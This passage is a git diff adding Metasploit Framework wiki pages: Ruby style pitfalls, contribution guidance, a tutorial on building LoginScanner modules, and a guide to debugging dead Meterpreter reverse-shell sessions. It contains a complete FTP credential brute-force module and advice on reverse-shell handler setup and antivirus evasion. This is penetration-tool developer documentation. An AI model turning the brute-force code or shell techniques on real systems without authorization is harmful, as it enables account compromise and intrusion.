shut an error up** + +```ruby +begin + # This block has 2 issues: + # Issue #1: sample() is not a method in 1.8.7 + # Issue #2: Divided by 0 (race condition) + n = [0, 1, 2, 3, 4, 5].sample + 1/n +rescue + # If the user reports a bug saying this code isn't + # working, it can be hard to debug exactly what went + # wrong for the user without a backtrace. + # When you do this, the error also won't be logged in + # framework.log, either. + # Note that rescuing ::Exception is especially harmful + # because it can even hide syntax errors. +end +``` + +**6. Not taking advantage of the 'ensure' block** + +```ruby +# You should use the ensure block to make sure x always has a value, +# which also avoids repeating code +begin + n = [0, 1, 2].sample + x = 1/n +rescue ZeroDivisionError => e + puts "Are you smarter than a 5th grader? #{e.message}" + x = 0 # Can put this in the ensure block +rescue NoMethodError + puts "You must be using an older Ruby" + x = 0 # Can put this in the ensure block +end + +puts "Value is #{x.to_s}" +``` + +**7. Adding the 'VERBOSE' option** + +```ruby +register_options( + [ + # You already have this. Just type 'show advanced' and you'll see it. + # So no need to register again + OptBool.new("VERBOSE", [false, 'Enable detailed status messages', false]) + ], self.class) +``` + +**8. Neglecting to use send_request_cgi()'s vars_get or vars_get when crafting a POST/GET request** + +```ruby +data_post = 'user=jsmith&pass=hello123' + +# You should use the 'vars_post' key instead of 'data', +# unless you're trying to avoid the API escaping your +# parameter names +send_request_cgi({ + 'method' => 'POST', + 'uri' => '/', + 'data' => data_post +}) +``` + +**9. Bad variable naming style** + +```ruby +# What's this, Java? +# The proper naming style in this case should be: my_string +myString = "hello, world" +``` + +**10. Using global variables** + +```ruby +# $msg is a global variable that can be accessed anywhere within the program. +# This can induce bugs to other modules or mixins that are hard to debug. +# Use @instance variables instead. +# This is also mentioned in your HACKING file :-) + +class Opinion + def initialize + # This variable shouldn't be shared with other classes + $msg = "It's called the Freedom of Information Act. The Hippies finally got something right." + end +end + +class Metasploit3 + def initialize + puts $msg + end +end + +Opinion.new +Metasploit3.new +``` + +**11. Modifying the datastore during execution** + +```ruby +# https://github.com/rapid7/metasploit-framework/issues/3853 +datastore['BAD'] = 'This is bad.' +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/Contact.md b/metasploit-framework.wiki/Contact.md new file mode 100644 index 000000000000..e422cdd12b71 --- /dev/null +++ b/metasploit-framework.wiki/Contact.md @@ -0,0 +1,20 @@ +# Chat + +A lot of our discussion happens on IRC in #metasploit on Freenode. +Please be patient and hang around for a while -- not everyone is awake +at the same time as you. =) + +# Mailing list + +The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]). + +The old list [is archived on seclists.org][archive]. + +# Abuse + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com. + + +[archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive" +[list]: https://groups.google.com/forum/#!forum/metasploit-hackers "Metasploit Hackers development mailing list" +[mailto]: mailto:metasploit-hackers@googlegroups.com diff --git a/metasploit-framework.wiki/Contributing-to-Metasploit.md b/metasploit-framework.wiki/Contributing-to-Metasploit.md new file mode 100644 index 000000000000..b5d4fca522b8 --- /dev/null +++ b/metasploit-framework.wiki/Contributing-to-Metasploit.md @@ -0,0 +1,65 @@ +# Like hacking things? Start here. + +Every so often, we'll get a request along the lines of, "Hey, I'm new to Metasploit, and I want to help!" The usual answer is something like, "Great! Here's our [framework bug tracker](https://github.com/rapid7/metasploit-framework/issues), get crackin!" + +However, tackling core Metasploit Framework bugs or particularly squirrelly exploits probably isn't the right place for the new contributor. Believe me, everyone was a newbie once, there's no shame in that. Those bugs and vulns are usually complicated, and there are so many to choose from that it's hard to get started. Here are some ideas to get you started. + +Metasploit is a tool by and for hackers, but the hackers that maintain it also happen to be software engineers. So, we have some hopefully easy-to-remember Do's and Don'ts in [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). Read up on those. + +# Server exploits + +Server exploits are always in demand; why bother with complicated social engineering campaigns when you can go straight to the pain point of a vulnerable network. Here are some search queries to get you started: + + * [Remote exploits](https://www.exploit-db.com/?type=remote) from Exploit-DB + +# Client Exploits + +Client exploits generally run as an "evil service" that a remote client will connect to. They nearly always require some kind of user interaction to trigger, such a viewing a web page, downloading a file, or otherwise connecting to the service controlled by the attacker. + + * [Browser Vulns](https://www.google.com/#bav=on.2,or.r_cp.r_qf.&q=site:securityfocus.com+%22Firefox%22+OR+%22Internet+Explorer%22+OR+%22Chrome%22+OR+%22Safari%22+OR+%22Opera%22+-%22Retired%22&safe=off) from SecurityFocus via Google search terms + +# Local and Privilege Escalation Exploits + +Privilege escalation exploits tend to require the attacker already have an account on a target computer. They are nearly always going to be implemented as Metasploit exploit modules under one of the [local](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/windows/local) trees (platform dependent), but sometimes they're better off as [post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post). This is especially true for privilege escalation bugs. + + * [Local Vulns](https://www.exploit-db.com/?type=local) from Exploit-DB + +# Unstable modules + +Want to pick up where someone else left off? Super! Just check the guide on rescuing [[Unstable Modules]] and push these poor, unloved modules over the finish line with decent testing and code cleanup. + +# Framework bugs and features + +If exploit dev isn't your thing, but more straightforward Ruby development is, then here are some good places to get started: + + * [Recent Bugs](https://github.com/rapid7/metasploit-framework/issues?q=is%3Aissue+is%3Aopen+label%3Abug), which tend to be either very easy or very hard to fix (not a lot of middle ground). + * [Feature requests](https://github.com/rapid7/metasploit-framework/issues?q=is%3Aissue+is%3Aopen+label%3Afeature), which is often in the same boat. + +Along these same lines is a perennial need for better automated testing, down in the [spec directory](https://github.com/rapid7/metasploit-framework/tree/master/spec). If you have a talent for exploring strange and wonderful code bases, pick out a chunk of the Metasploit core code and define out what you expect for working behavior. + +# Non-code + +We can always use better documentation. Those guys over at Offensive Security do a great job with [Metasploit Unleashed](http://www.offensive-security.com/metasploit-unleashed/Main_Page), but as with all complex bodies of work, there are surely bugs to be found. If you have ideas on how to make the documentation on Metasploit clear and more accessible to more people, go nuts. + +Write wiki articles in your fork (hint, [Gollum](https://github.com/gollum/gollum) is excellent for this) and let someone know about them, we'll be happy to reflect them here and maintain your credit. If you're interested in working with us on documentation long-term, that's even better; reach out on [Slack](https://metasploit.com/slack) for info on how best to make changes. + +Ditto with YouTube screencasts of particular common tasks. Narration while you do it is great. People seem to love YouTube videos of this stuff -- there are over [40,000](http://www.youtube.com/results?search_query=metasploit&oq=metasploit) of the things out there, and we'd love for someone to step up and curate a top 10 or top 100 of those that we can promote here for new and experienced users. + +For developer types: we are slowly but surely converting all of Metasploit to use standardized commenting using [YARD](https://yardoc.org), so we could always use more accurate and more comprehensive YARD documentation for pretty much anything found in `lib`. We will happily take pull requests that contain nothing but comment docs! + +Again, there's always room on #metasploit on Freenode. Be helpful with the questions there, and people are more likely to help you in the future. Same goes for the [Metasploit Slack team](https://metasploit.com/slack), where all sorts of new and proficient users and devs are looking for help and camaraderie. + +# The Usual Warnings + +You probably shouldn't run proof of concept exploit code you find on the Internet on a machine you care about in a network you care about. That is generally considered a Bad Idea. You also probably shouldn't use your usual computer as a target for exploit development, since you are intentionally inducing unstable behavior. + +Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn how to create one here: +[[Landing-Pull-Requests]] + +Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them. + +If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep. + +# Thank you + +In case nobody's said it yet: Thanks for your interest and support! Exploit developers from the open source community are the soul of Metasploit, and by contributing your time and talent, you are helping advance the state of the art for intelligent IT defense. We simply couldn't do all of this without you. diff --git a/metasploit-framework.wiki/Creating-Metasploit-Framework-LoginScanners.md b/metasploit-framework.wiki/Creating-Metasploit-Framework-LoginScanners.md new file mode 100644 index 000000000000..403117674c7e --- /dev/null +++ b/metasploit-framework.wiki/Creating-Metasploit-Framework-LoginScanners.md @@ -0,0 +1,475 @@ +So, you want to make a Login Scanner Module in Metasploit, eh? There are a few things you will need to know before you begin. This article will try to illustrate all the moving pieces involved in creating an effective bruteforce/login scanner module. + +- [Credential objects](#credential-objects) +- [Result objects](#result-objects) +- [CredentialCollection](#credentialcollection) +- [LoginScanner Base](#loginscanner-base) + * [Attributes](#attributes) + * [Methods](#methods) + * [Constants](#constants) +- [Pulling it all Together in a module](#pulling-it-all-together-in-a-module) + * [The Cred Collection](#the-cred-collection) + * [Initialising the Scanner](#initialising-the-scanner) + * [The scan block](#the-scan-block) + * [ftp_login final view](#ftp_login-final-view) + +# Credential Objects + +`Metasploit::Framework::Credential +(lib/metasploit/framework/credential.rb)` + +These objects represent the most basic concept of how we now think about Credentials. + +- **Public**: The public part of a credential refers to the part that can be publicly known. In almost all cases this is the username. +- **Private**: The private part of the credential, this is the part that should be a secret. This currently represents: Password, SSH Key, NTLM Hash etc. +- **Private Type**: This defines what type of private credential is defined above +- **Realm**: This represents an authentication realm that the credential is valid for. This is a tertiary part of the authentication process. Examples include: Active Directory Domain, Postgres Database etc. +- **Realm Key**: This defines what type of Realm the Realm Attribute represents. +- **Paired**: This attribute is a boolean value that sets whether the Credential must have both a public and private to be valid. + + +All LoginScanners use Credential objects as the basis for their attempts. + +# Result Objects + +`Metasploit::Framework::LoginScanner::Result +(lib/metasploit/framework/login_scanner/result.rb)` + +These are the objects yielded by the `scan!` method on each `LoginScanner`. They contain: + +- **Access Level**: An optional Access Level which can describe the level of access granted by the login attempt. +- **Credential** : The Credential object that achieved that result +- **Proof**: An optional proof string to show why we think the result is valid +- **Status**: The status of the login attempt. These values come from Metasploit::model::Login::Status , examples include "Incorrect", "Unable to Connect", "Untried" etc + +# CredentialCollection + +`Metasploit::Framework::CredentialCollection +(lib/metasploit/framework/credential_collection.rb)` + +This class is created by the `build_credential_collection` method provided by the `Msf::Auxiliary::AuthBrute` mixin. It takes a bunch of options that when specified, will take priority over the corresponding datastore options. Typical uses only need to specify the `username:` and `password:` options since those can be different from one module to another (e.g. 'USERNAME', 'SMBUser', 'HttpUsername', etc.). It can be passed in as the `cred_details` on the `LoginScanner`, and responds to #each and yields crafted Credentials. + +The `build_credential_collection` method will handle prepending usernames and passwords as well as skipping entries as configured by the `DB_SKIP_EXISTING` option. + +**Example (from modules/auxiliary/scanner/ftp/ftp_login.rb)**: + +```ruby +cred_collection = build_credential_collection( + username: datastore['USERNAME'], + password: datastore['PASSWORD'], + prepended_creds: anonymous_creds +) +``` + + +# LoginScanner Base + +`Metasploit::Framework::LoginScanner::Base +(lib/metasploit/framework/login_scanner/base.rb)` + +This is a Ruby Module that contains all the base behaviour for all `LoginScanners`. All `LoginScanner` classes should include this module. + +The specs for this behaviour are kept in a shared example group. Specs for your `LoginScanner` should use the following syntax to include these tests: + +```ruby +it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false +``` + Where `has_realm_key` and `has_default_realm` should be set according to whether your `LoginScanner` has those things. (More on this later) + +LoginScanners always take a collection of Credentials to try and one host and port. So each `LoginScanner` object attempts to login to only one specific service. + +## Attributes + +- **`connection_timeout`**: The time to wait for a connection to timeout +- **`cred_details`**: An object that yields credentials on each (like credentialCollection or an Array) +- **`host`**: The address for the target host +- **`port`**: The port number for the target service +- **`proxies`**: Any proxies to use in the connection (some scanners might not support this) +- **`stop_on_success`**: Whether to stop trying after a successful login is found + +## Methods + +### each_credential + +You will not have to worry much about this method, Be aware that it is there. It iterates through whatever is in `cred_details`, does some normalization and tries to make sure each Credential is properly setup for use by the given `LoginScanner`. It yields each Credential in a block. + +```ruby +def each_credential + cred_details.each do |raw_cred| + # This could be a Credential object, or a Credential Core, or an Attempt object + # so make sure that whatever it is, we end up with a Credential. + credential = raw_cred.to_credential + + if credential.realm.present? && self.class::REALM_KEY.present? + credential.realm_key = self.class::REALM_KEY + yield credential + elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present? + credential.realm_key = self.class::REALM_KEY + credential.realm = self.class::DEFAULT_REALM + yield credential + elsif credential.realm.present? && self.class::REALM_KEY.blank? + second_cred = credential.dup + # Strip the realm off here, as we don't want it + credential.realm = nil + credential.realm_key = nil + yield credential + # Some services can take a domain in the username like this even though + # they do not explicitly take a domain as part of the protocol. + second_cred.public = "#{second_cred.realm}\\#{second_cred.public}" + second_cred.realm = nil + second_cred.realm_key = nil + yield second_cred + else + yield credential + end + end +end +``` + +### set_sane_defaults + +This method will be overridden by each specific `LoginScanner`. This is called at the end of the initializer and sets any sane defaults for attributes that have them and were not given a specific value in the initializer. + +```ruby +# This is a placeholder method. Each LoginScanner class +# will override this with any sane defaults specific to +# its own behaviour. +# @abstract +# @return [void] +def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? +end +``` + +### attempt_login + +This method is just a stub on the Base mixin. It will be overridden in each LoginScanner class to contain the logic to take one single Credential object and use it to make a login attempt against the target service. It returns a `::Metasploit::Framework::LoginScanner::Result` object containing all the information about that attempt's result. + +For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)` + + ```ruby + # (see Base#attempt_login) +def attempt_login(credential) + result_options = { + credential: credential + } + + begin + success = connect_login(credential.public, credential.private) + rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + success = false + end + + + if success + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + elsif !(result_options.has_key? :status) + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) +end + ``` + +### scan! + +This method is the main one you will be concerned with. This method does several things: + +- It calls valid! which will check all of the validations on the class and raise an `Metasploit::Framework::LoginScanner::Invalid` if any of the Validations fail. This exception will contain all the errors messages for any failing validations. +- it keeps track of the connection error count, and will bail out if we have too many connection errors or too many in a row +- it runs through all of the credentials by calling each_credential with a block +- in that block it passes each credential to `#attempt_login` +- it yields the Result object into the block it is passed +- if stop_on_success is set it will also exit out early if it the result was a success + +```ruby +# Attempt to login with every {Credential credential} in +# {#cred_details}, by calling {#attempt_login} once for each. +# +# If a successful login is found for a user, no more attempts +# will be made for that user. +# +# @yieldparam result [Result] The {Result} object for each attempt +# @yieldreturn [void] +# @return [void] +def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + + each_credential do |credential| + next if successful_users.include?(credential.public) + + result = attempt_login(credential) + result.freeze + + yield result if block_given? + + if result.success? + consecutive_error_count = 0 + break if stop_on_success + successful_users << credential.public + else + if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + consecutive_error_count += 1 + total_error_count += 1 + break if consecutive_error_count >= 3 + break if total_error_count >= 10 + end + end + end + nil +end +``` + +## Constants + +Although not defined on Base, each `LoginScanner` has a series of Constants that can be defined on it to assist with critical behaviour. + + - **`DEFAULT_PORT`**: `DEFAULT_PORT` is a simple constant for use with `set_sane_defaults`. If the port isn't set by the user it will use `DEFAULT_PORT`. This is put in a constant so it can be quickly referenced from outside the scanner. + +These next two Constants are used by the LoginScanner namespace method classes_for_services. This method invoked by `Metasploit::Framework::LoginScanner.classes_for_service()` will actually return an array of LoginScanner classes that may be useful to try against that particular Service. + - **`LIKELY_PORTS`** : This constant holds n array of port numbers that it would be likely useful to use this scanner against. + - **`LIKELY_SERVICE_NAMES`** : Like above except with strings for service names instead of port numbers. + + - **`PRIVATE_TYPES`** : This contains an array of symbols representing the different Private credential types it supports. It should always match the demodulize result for the Private class i.e :password, `:ntlm_hash`, `:ssh_key` + +These constants are fore `LoginScanners` that have to deal with Realms such as AD domains or Database Names. + + - **`REALM_KEY`**: The type of Realm this scanner expects to deal with. Should always be a constants from `Metasploit::Model::Login::Status` + - **`DEFAULT_REALM`**: Some scanners have a default realm (like WORKSTATION for AD domain stuff). If a credential is given to a scanner that requires a realm, but the credential has no realm, this value will be added to the credential as the realm. + + - **`CAN_GET_SESSION`**: this should be either true or false as to whether we expect we could somehow get a session with a Credential found from this scanner. + + **example1 ( Metasploit::Framework::LoginScanner::FTP)** + +```ruby +DEFAULT_PORT = 21 +LIKELY_PORTS = [ DEFAULT_PORT, 2121 ] +LIKELY_SERVICE_NAMES = [ 'ftp' ] +PRIVATE_TYPES = [ :password ] +REALM_KEY = nil +``` + + **example2 ( Metasploit::Framework::LoginScanner::SMB)** + +```ruby +CAN_GET_SESSION = true +DEFAULT_REALM = 'WORKSTATION' +LIKELY_PORTS = [ 139, 445 ] +LIKELY_SERVICE_NAMES = [ "smb" ] +PRIVATE_TYPES = [ :password, :ntlm_hash ] +REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN +``` + +# Pulling it all Together in a module + +So now you hopefully have a good idea of all the moving pieces involved in creating a LoginScanner. The next step is using your brand new LoginScanner in an actual module. + +Let's look at the `ftp_login` module: + +`def run_host(ip)` + +Every Bruteforce/Login module should be a scanner and should use the run_host method which will run once for each RHOST. + +## The Cred Collection + +```ruby +cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + prepended_creds: anonymous_creds +) +``` +So here we see the CredentialCollection getting created using the datastore options. We pass in the options for Cred creation such as wordlists, raw usernames and passwords, whether to try the username as a password, and whether to try blank passwords. + +you'll also notice an option here called `prepended_creds`. FTP is one of the only module to make use of this, but it is generally available through the CredentialCollection. This option is an array of `Metasploit::Framework::Credential` objects that should be spit back by the collection before any others. FTP uses this to deal with testing for anon FTP access. + +## Initialising the Scanner + +```ruby +scanner = Metasploit::Framework::LoginScanner::FTP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 +) +``` + +Here we actually create our Scanner object. We set the IP and Port based on data the module already knows about. We can pull any user supplied proxy data from the datatstore. we also pull from the datastore whether to stop on a success for this service. The cred details object is populated by our Credentialcollection which will handle all the credential generation for us invisibly. + +This gives us our scanner object, all configured and ready to go. + + +## The Scan Block + +```ruby +scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end +end +``` + +This is the real heart of the matter here. We call s`can!` on our scanner, and pass it a block. As we mentioned before, the scanner yields each attempt's Result object into that block. We check the result's status to see if it was successful or not. + +The result object now as a `.to_h` method which returns a hash compatible with our credential creation methods. We take that hash and merge in our module specific information and workspace id. + +In the case of a success we build some info hashes and call `create_credential`. This is a method found in the metasploit-credential gem under `lib/metasploit/credential/creation.rb` in a mixin called `Metasploit::Credential::Creation`. This mixin is included in the Report mixin, so if your module includes that mixin you'll get these methods for free. + +`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the the status. + +Finally, for a success, we output the result to the console. + +In the case of a failure, we call the `invalidate_login` method. This method also comes from the Creation mixin. This method looks to see if a Login object already exists for this credential:service pair. If it does, it updates the status to the status we got back from the scanner. This is primarily to account for Login objects created by things like Post modules that have an untried status. + +## `ftp_login` Final View + +Pulling it all together, we get a new `ftp_login` module that looks something like this: + +```ruby +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/ftp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def proto + 'ftp' + end + + def initialize + super( + 'Name' => 'FTP Authentication Scanner', + 'Description' => %q{ + This module will test FTP logins on a range of machines and + report successful logins. If you have loaded a database plugin + and connected to a database this module will record successful + logins and hosts so you can track your access. + }, + 'Author' => 'todb', + 'References' => + [ + [ 'CVE', '1999-0502'] # Weak password + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(21), + OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false]) + ], self.class) + + register_advanced_options( + [ + OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false]) + ] + ) + + deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password' + @accepts_all_logins = {} + end + + def run_host(ip) + print_status("#{ip}:#{rport} - Starting FTP login sweep") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + prepended_creds: anonymous_creds + ) + + scanner = Metasploit::Framework::LoginScanner::FTP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + end + + # Always check for anonymous access by pretending to be a browser. + def anonymous_creds + anon_creds = [ ] + if datastore['RECORD_GUEST'] + ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password| + anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password) + end + end + anon_creds + end + + def test_ftp_access(user,scanner) + dir = Rex::Text.rand_text_alpha(8) + write_check = scanner.send_cmd(['MKD', dir], true) + if write_check and write_check =~ /^2/ + scanner.send_cmd(['RMD',dir], true) + print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access") + return 'Read/Write' + else + print_status("#{rhost}:#{rport} - User '#{user}' has READ access") + return 'Read-only' + end + end +end +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/Debugging-Dead-Meterpreter-Sessions.md b/metasploit-framework.wiki/Debugging-Dead-Meterpreter-Sessions.md new file mode 100644 index 000000000000..e38e769371ce --- /dev/null +++ b/metasploit-framework.wiki/Debugging-Dead-Meterpreter-Sessions.md @@ -0,0 +1,78 @@ +## On this page + +* [On this page](#on-this-page) +* [Background knowledge](#background-knowledge) +* [Stagers, stages, and handlers](#stagers-stages-and-handlers) +* [LHOST and LPORT](#lhost-and-lport) +* [LHOST](#lhost) +* [LPORT](#lport) +* [Check dead shells](#check-dead-shells) + * [Quick things to check](#quick-things-to-check) + * [Not so quick things to check](#not-so-quick-things-to-check) + +Dead shells. Nobody likes them. Yet, despite the advances made in the Metasploit stagers and Meterperter itself, we still see them regularly. + +There are many reasons why shells refuse to connect or die after they're established. The goal of this post is to help people understand why. Hopefully, by the end, the most common causes will be understood, and users can fix things themselves. + +## Background knowledge + +Prior to diving into the possible breakages and their causes, it's important to have some background knowledge of stagers, and how Meterpreter works. Please be sure to read the following articles prior to reading the rest of this post: + +* [[Meterpreter Stageless Mode]] - Covers the exploitation process, and how Meterpreter sessions are established. This is important because understanding how the different components interact and what allows for easier debugging later. +* [[Meterpreter Configuration]] - Covers how configuration works in Meterpreter. This is important because it highlights the separation of configuration in stagers and Meterpreter. This alone is the key to many breakages, especially in HTTP/S payloads. +* [[The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers]] - Covers the detail of HTTP/S based communications in the stagers and in Meterpreter itself. + +## Stagers, stages, and handlers + +Each exploit and handler is made up of multiple things, and they're all independent: + +* **Stager**: This is the small bit of code that is first executed by the target. It contains it's own bundled implementation of a communications channel. It has the goal of establishing communication with Metasploit, downloading the **stage**, and invoking it. It has it's own configuration. +* **Stage**: This is the second payload that is executed by the target. It is sent to the target via the communications channel that was opened by the **stage**. Once downloaded, it is invoked, and from there, it takes over. It has its own configuration. +* **Handler**: This is the code that runs on the attacker's machine. It is responsible for handling the attacker-side of the communications channel that is established by the **stager**. It is responsible for uploading the **stage**. It is responsible for handling communication between the attacker and the target once the stage has taken over from the stager. + +In some cases, there might be multiple stages (as is the case with POSIX Meterpreter). This is called an **intermediate** stage. Usually, these stages are slightly bigger than the stager and can do more work to help establish communications. + +The most important thing to remember is that both the **stager** and the **stage** have their own configurations that are **independent**. THE MOST COMMON cause of dead shells is the result of the **stage** not having the correct configuration; in other words, it's different to that specified in the **stager**. + +## LHOST and LPORT + +Any user of Metasploit will tell you that they know what `LHOST` and `LPORT` mean, yet it's incredibly common to find out that their understanding isn't 100% correct. To prevent dead sessions that are related to a misconfiguration of these values, we need to make sure we understand what they mean. + +## LHOST + +`LHOST` is short for Local Host. This value represents the IP address or hostname that **stagers** and **stages** should attempt to connect to. It is where the **handler** can be reached. This doesn't mean that this is where the handler actually exists. + +`LHOST` is a value that is meaning from the perspective of the target machine. This value is passed along as part of the configuration for **stagers** and **stages** and tells the target machine where to go to reach the handler, and so this has to map to a value that is reachable by the target. + +A **handler** obviously needs to listen on a host/IP for the incoming connection. In cases where the `LHOST` value, for example the address that the target is able to reach, is the same as that which the host can listen on, no extra work has to be done. The `LHOST` value is used by the handler. + +However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindHost`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded. + +In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindHost` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong. + +## LPORT + +The principles of `LHOST` and `ReverseListenerBindHost` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting. + +The classic example of this case is where an attacker wants to make use of port `443`, but rightfully doesn't want to run Metasploit as `root` just so they can directly bind to ports lower than `1024`. Instead, the set up a port forward (on their router, or using `iptables`) so that `443` forwards to `8443`, with a goal of accepting connections on that port instead. + +To accommodate this scenario, the `LHOST` value must **still contain `443`**, as this is the port that the target machine needs to establish communications on; `443` is the value that needs to go out with the **stager** and the **stage** configurations. Metasploit needs to bind locally to port `8443`, and so the **handler** is configured so that `ReverseListenerBindPort` has this value instead. + +When the handler launches, it binds to `8443` and handles any connections it receives. When a stage is generated, it uses `443` from `LHOST` value to populate the configuration. + +If the attacker makes the mistake of either setting `LPORT` to `8443`, or leaving `LPORT` as `443` and not using `ReverseListenerBindPort`, then the result is either a dead shell after the first stage, or no connect back at all. + +## Check dead shells + +There are a few things to check for when debugging a dead shell. + +### Quick things to check + +* Make sure that `LHOST` is set to a routable address from the target, and not a local listen address. +* Make sure that `LPORT` is set to the port number that the target needs to connect to. +* Make sure that `ReverseListenerBindPort` is set if port forwarding is enabled and the traffic is being routed to a different port. +* Make sure that your listener's configuration matches that of the target from an architecture perspective. If you mix x64 listeners with x86 payloads (and vice versa), things will go bad. + +### Not so quick things to check + +* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead. \ No newline at end of file diff --git a/metasploit-framework.wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability.md b/metasploit-framework.wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability.md new file mode 100644 index 000000000000..5505ab05a159 --- /dev/null +++ b/metasploit-framework.wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability.md @@ -0,0 +1,72 @@ +New Metasploit modules are now required to contain a `Notes` section containing additional information such as the `Stability`, `Reliability` and `SideEffects` associated with running the module. + +Example: + +```ruby + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Module name', + 'Description' => %q{ + Module description + }, + 'Author' => + [ + 'Author name' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2020-XXXX'] + ], + 'DisclosureDate' => '2020-03-26', + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + # All new modules must contain the below information. See below for more details for allowed values + 'Notes' => { + 'Stability' => [...], + 'Reliability' => [...], + 'SideEffects' => [...] + } + ) + ) + end +``` + +## Allowed Values + +### Stability + +| Constant | Description | +| -------------- | ------------- | +| CRASH_SAFE | Module should not crash the service or OS | +| CRASH_SERVICE_RESTARTS | Module may crash the service, but it will restart 